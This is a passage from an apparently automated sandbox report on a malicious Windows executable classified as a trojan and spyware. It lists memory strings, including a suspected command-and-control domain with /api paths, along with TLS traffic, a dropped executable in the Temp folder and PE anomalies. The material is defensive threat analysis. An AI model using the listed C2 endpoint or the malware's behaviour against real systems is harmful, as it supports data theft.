Source: file.exe, 00000000.00000003.1773682661.0000000005475000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://x1.i.lencr.org/0
Source: file.exe, 00000000.00000003.1746428561.000000000547B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: file.exe, 00000000.00000003.1794779309.000000000543A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bridge.lga1.admarketplace.net/ctp?version=16.0.0&key=1696332238301000001.2&ci=1696332238417.
Source: file.exe, 00000000.00000003.1794779309.000000000543A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bridge.lga1.ap01.net/ctp?version=16.0.0&key=1696332238301000001.1&ci=1696332238417.12791&cta
Source: file.exe, 00000000.00000003.1746428561.000000000547B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: file.exe, 00000000.00000003.1746428561.000000000547B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: file.exe, 00000000.00000003.1746428561.000000000547B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: file.exe, 00000000.00000003.1794779309.000000000543A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contile-images.services.mozilla.com/0TegrVVRalreHILhR2WvtD_CFzj13HCDcLqqpvXSOuY.10862.jpg
Source: file.exe, 00000000.00000003.1794779309.000000000543A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg
Source: file.exe, 00000000.00000003.1746428561.000000000547B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: file.exe, 00000000.00000003.1746428561.000000000547B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: file.exe, 00000000.00000003.1746428561.000000000547B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: file.exe, 00000000.00000003.1794779309.000000000543A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4QqmfZfYfQfafZbXfpbWfpbX7ReNxR3UIG8zInwYIFIVs9eYi
Source: file.exe, 00000000.00000003.1947207859.0000000000A52000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1864908314.0000000000AC5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://necklacedmny.store/
Source: file.exe, 00000000.00000003.1865170997.0000000000A52000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1952821188.0000000000A52000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1947207859.0000000000A52000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://necklacedmny.store/0914k
Source: file.exe, 00000000.00000003.1947408572.0000000000ACB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://necklacedmny.store/api
Source: file.exe, 00000000.00000003.1794846735.0000000000AB1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://necklacedmny.store/api-
Source: file.exe, 00000000.00000003.1760634013.0000000000AB1000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1865170997.0000000000A52000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://necklacedmny.store/apiA4T:
Source: file.exe, 00000000.00000003.1946802654.0000000000ABC000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1827684565.0000000000AC5000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1864908314.0000000000ACC000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1947322570.0000000000AC8000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1827759348.0000000000ACB000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1947408572.0000000000ACB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://necklacedmny.store/apiE
Source: file.exe, 00000000.00000003.1760634013.0000000000AB1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://necklacedmny.store/apiV
Source: file.exe, 00000000.00000003.1827684565.0000000000AC5000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1827759348.0000000000ACB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://necklacedmny.store/apia
Source: file.exe, 00000000.00000003.1794846735.0000000000AB1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://necklacedmny.store/apim
Source: file.exe, 00000000.00000003.1865343973.0000000000AA6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://necklacedmny.store/~dJ
Source: file.exe, 00000000.00000002.1952490232.0000000000A1F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://necklacedmny.store:443/api
Source: file.exe, 00000000.00000002.1952490232.0000000000A1F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://necklacedmny.store:443/apiK
Source: file.exe, 00000000.00000003.1746139831.0000000005492000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.microsof
Source: file.exe, 00000000.00000003.1774952755.000000000555A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br
Source: file.exe, 00000000.00000003.1774952755.000000000555A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/products/firefoxgro.all
Source: file.exe, 00000000.00000003.1746139831.0000000005490000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1746221265.0000000005489000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016
Source: file.exe, 00000000.00000003.1746221265.0000000005464000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016Examples
Source: file.exe, 00000000.00000003.1746139831.0000000005490000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1746221265.0000000005489000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17
Source: file.exe, 00000000.00000003.1746221265.0000000005464000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17Install
Source: file.exe, 00000000.00000003.1794779309.000000000543A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_7548d4575af019e4c148ccf1a78112802e66a0816a72fc94
Source: file.exe, 00000000.00000003.1746428561.000000000547B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.ecosia.org/newtab/
Source: file.exe, 00000000.00000003.1794779309.000000000543A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.expedia.com/?locale=en_US&siteid=1&semcid=US.UB.ADMARKETPLACE.GT-C-EN.HOTEL&SEMDTL=a1219
Source: file.exe, 00000000.00000003.1746428561.000000000547B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: file.exe, 00000000.00000003.1774952755.000000000555A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/about/gro.allizom.www.VsJpOAWrHqB2
Source: file.exe, 00000000.00000003.1774952755.000000000555A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/contribute/gro.allizom.www.n0g9CLHwD9nR
Source: file.exe, 00000000.00000003.1774952755.000000000555A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/Firefox
Source: file.exe, 00000000.00000003.1774952755.000000000555A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/firefox/?utm_medium=firefox-desktop&utm_source=bookmarks-toolbar&utm_campaig
Source: file.exe, 00000000.00000003.1774952755.000000000555A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/gro.allizom.www.

Source: unknown	Network traffic detected: HTTP traffic on port 49733 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49733
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49732
Source: unknown	Network traffic detected: HTTP traffic on port 49734 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49731
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49730
Source: unknown	Network traffic detected: HTTP traffic on port 49731 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49732 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49730 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49738
Source: unknown	Network traffic detected: HTTP traffic on port 49736 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49735 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49736
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49735
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49734
Source: unknown	Network traffic detected: HTTP traffic on port 49738 -> 443

Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:49730 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:49731 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:49732 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:49733 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:49734 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:49735 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:49736 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:49738 version: TLS 1.2

System Summary

PE file contains section with special chars

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .rsrc
Source: file.exe	Static PE information: section name: .idata
Source: T4SWNFFH9VCKTA3D54ZZ0K.exe.0.dr	Static PE information: section name:
Source: T4SWNFFH9VCKTA3D54ZZ0K.exe.0.dr	Static PE information: section name: .idata

Source: C:\Users\user\AppData\Local\Temp\T4SWNFFH9VCKTA3D54ZZ0K.exe	Code function: 4_2_00867113	4_2_00867113
Source: C:\Users\user\AppData\Local\Temp\T4SWNFFH9VCKTA3D54ZZ0K.exe	Code function: 4_2_008679ED	4_2_008679ED
Source: C:\Users\user\AppData\Local\Temp\T4SWNFFH9VCKTA3D54ZZ0K.exe	Code function: 4_2_00867A17	4_2_00867A17
Source: C:\Users\user\AppData\Local\Temp\T4SWNFFH9VCKTA3D54ZZ0K.exe	Code function: 4_2_006EDAFD	4_2_006EDAFD

Source: file.exe	Binary or memory string: OriginalFilename vs file.exe
Source: file.exe, 00000000.00000003.1946802654.0000000000ABC000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1932206531.00000000059E7000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1924683569.0000000005AE1000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1915885147.00000000059EA000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1931264621.0000000005C16000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1915368593.0000000005A84000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1915665053.00000000059E9000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1917072467.0000000005B2D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1916964220.0000000005A84000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1919957368.00000000059E2000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1918971615.0000000005B44000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1924256630.00000000059ED000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1913372111.0000000005532000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1921328740.0000000005B91000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1913271237.00000000057E2000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1932359831.0000000005B21000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1921619219.00000000059E7000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1918044312.00000000059E4000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1930476867.0000000005AFC000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1934072001.0000000005B25000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1931788711.0000000005C40000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1927116116.0000000005AEC000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1919829012.0000000005ABB000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1915088916.0000000005A91000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1920544568.0000000005B6B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1914005977.0000000005536000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1926290246.00000000059E6000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1917325715.00000000059EE000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1928677286.0000000005AFE000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1917625633.00000000059EC000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1932669861.00000000059E3000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1929968706.0000000005B01000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1923291846.00000000059EE000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1914556675.0000000005532000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1933497483.0000000005C59000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1925034368.0000000005AE0000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1923871886.0000000005AD1000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1946653712.0000000005459000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1926417743.0000000005AE3000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1922552040.0000000005B8F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1933102591.00000000059EC000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1931637184.0000000005B0D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1919241706.0000000005AA6000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1924034769.0000000005BB8000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1929354662.00000000059E5000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1931079350.0000000005AFD000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1914656028.00000000059EE000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1918660185.00000000059E6000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1921180423.0000000005AB6000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1946852302.0000000005432000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1918848708.0000000005A93000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1925793485.0000000005AD5000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1925298772.0000000005ADE000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1916520468.0000000005A91000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1914111647.00000000059EB000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1913898695.00000000059E3000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1919480951.00000000059F0000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1928320547.00000000059F0000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1925156683.00000000059E3000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1928176772.0000000005AFF000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1920660862.00000000059E4000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1918280444.0000000005B5F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1920426683.0000000005AA2000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1925921394.00000000059E4000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1947539980.00000000059ED000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1933926025.00000000059E9000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1931926047.00000000059EC000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1933786326.0000000005B27000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1923682567.00000000059E3000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1926044127.0000000005AE1000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1934215515.0000000005C70000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1919362185.0000000005B70000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1932894439.0000000005B17000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1923005297.0000000005AC6000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1922787952.00000000059F0000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1916856606.00000000059E6000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1931492115.00000000059E6000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1916416745.00000000059EA000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1921922480.0000000005AB3000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1918163982.0000000005A9D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1924904336.00000000059E5000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1915187787.00000000059EB000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1914454841.0000000005A7C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1927916781.00000000059EB000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1920086345.0000000005AA2000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1915774715.0000000005A88000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1917749231.0000000005A9D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1930235513.00000000059E3000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1916310813.0000000005A89000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1926166912.0000000005BD5000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1919116006.00000000059F0000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1927521652.0000000005BF7000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1932069787.0000000005B20000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1921044651.00000000059E2000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1920281258.00000000059E3000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1933267377.0000000005B21000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1917924929.0000000005B4F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1930795772.00000000059E4000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1917502904.0000000005AA0000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1920821261.0000000005AB6000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1925420233.00000000059E5000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1926541846.00000000059E9000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1933643858.00000000059F1000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1934363390.00000000059E3000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1923501437.0000000005ACD000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: file.exe

Static PE information: Section: ZLIB complexity 0.9980958561912225

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@3/2@5/2

Source: C:\Users\user\AppData\Local\Temp\T4SWNFFH9VCKTA3D54ZZ0K.exe

File created: C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\T4SWNFFH9VCKTA3D54ZZ0K.exe.log

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\T4SWNFFH9VCKTA3D54ZZ0K.exe

Mutant created: NULL

Source: C:\Users\user\Desktop\file.exe

File created: C:\Users\user\AppData\Local\Temp\T4SWNFFH9VCKTA3D54ZZ0K.exe

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: file.exe, 00000000.00000003.1746562865.000000000544C000.00000004.00000800.00020000.00000000.sdmp

